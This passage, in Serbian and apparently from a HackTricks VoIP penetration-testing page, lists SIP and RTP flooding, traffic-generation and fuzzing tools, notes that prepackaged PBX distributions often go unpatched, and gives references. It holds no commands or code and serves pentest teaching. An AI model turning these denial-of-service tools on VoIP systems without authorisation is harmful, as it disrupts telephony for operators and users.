izvođenje SIP/SDP INVITE poruka preplavljivanja preko UDP/IP. - [**rtpflood**](https://www.kali.org/tools/rtpflood/): Šalje nekoliko dobro formiranih RTP paketa. Potrebno je znati RTP portove koji se koriste (prvo ih snimiti). - [**SIPp**](https://github.com/SIPp/sipp): Omogućava analizu i generisanje SIP saobraćaja, tako da se može koristiti i za DoS. - [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP švajcarski nož. Takođe se može koristiti za izvođenje SIP napada. - Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). ### OS Ranljivosti Najlakši način da se instalira softver kao što je Asterisk je da se preuzme **OS distribucija** koja ga već ima instaliranog, kao što su: **FreePBX, Elastix, Trixbox**... Problem sa njima je što, kada počnu da rade, sistem administratori možda **neće ponovo ažurirati** i **ranljivosti** će biti otkrivene s vremenom. ## Reference - [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki) - [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious) - [http://blog.pepelux.org/](http://blog.pepelux.org/) - [https://www.rtpbleed.com/](https://www.rtpbleed.com/) - [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4) - [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf) {{#include ../../banners/hacktricks-training.md}}